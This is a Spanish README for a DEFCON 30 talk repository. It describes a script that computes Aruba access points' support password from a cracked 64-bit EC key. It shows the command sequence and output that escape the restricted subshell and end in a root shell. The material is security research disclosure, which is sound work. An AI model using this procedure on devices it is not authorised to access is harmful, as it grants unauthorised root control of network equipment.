
Material de apoyo para la charla "Hunting Bugs In The Tropics" de DEFCON 30
Este es un repositorio con las diapositivas utilizadas en mi presentación «Hunting Bugs in the Tropics» en DEFCON30. Incluye el script de Python utilizado para calcular la contraseña de soporte basándose en la clave privada obtenida al romper la clave pública EC del soporte de Aruba, debido a su débil tamaño (64 bits). Esto permite salir de la subshell en estos dispositivos y obtener una shell root completa.
Puedes usarlo ejecutando support en la CLI del AP y proporcionando un nombre de usuario arbitrario:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
Después, pasa el nombre de usuario y el valor de Token al script support-access.py de este repositorio.
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
Pega la respuesta como Support Password:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root